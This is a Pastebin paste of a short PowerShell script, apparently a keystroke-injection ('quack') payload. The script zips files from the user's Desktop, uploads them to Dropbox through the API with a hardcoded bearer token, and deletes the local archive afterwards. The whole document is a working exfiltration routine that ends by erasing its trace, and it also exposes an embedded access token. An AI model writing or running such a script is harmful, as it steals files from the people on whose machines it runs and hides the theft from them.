Advertisement
Guest User

quack

a guest
Mar 19th, 2019
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. Compress-Archive -Path $env:USERPROFILE\Desktop\Prueba\* -CompressionLevel NoCompression -DestinationPath $env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip
  2. $TargetFilePath="/$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
  3. $SourceFilePath="$env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
  4. $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
  5. $authorization = "Bearer " + "Olc4gogTj3AAAAAAAAAAGgvKHHR-0pA-EoxaNWfGXLA_yku0-ty5-4kRHxJOKLdA"
  6. $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
  7. $headers.Add("Authorization", $authorization)
  8. $headers.Add("Dropbox-API-Arg", $arg)
  9. $headers.Add("Content-Type", 'application/octet-stream')
  10. Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
  11. rm $SourceFilePath
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement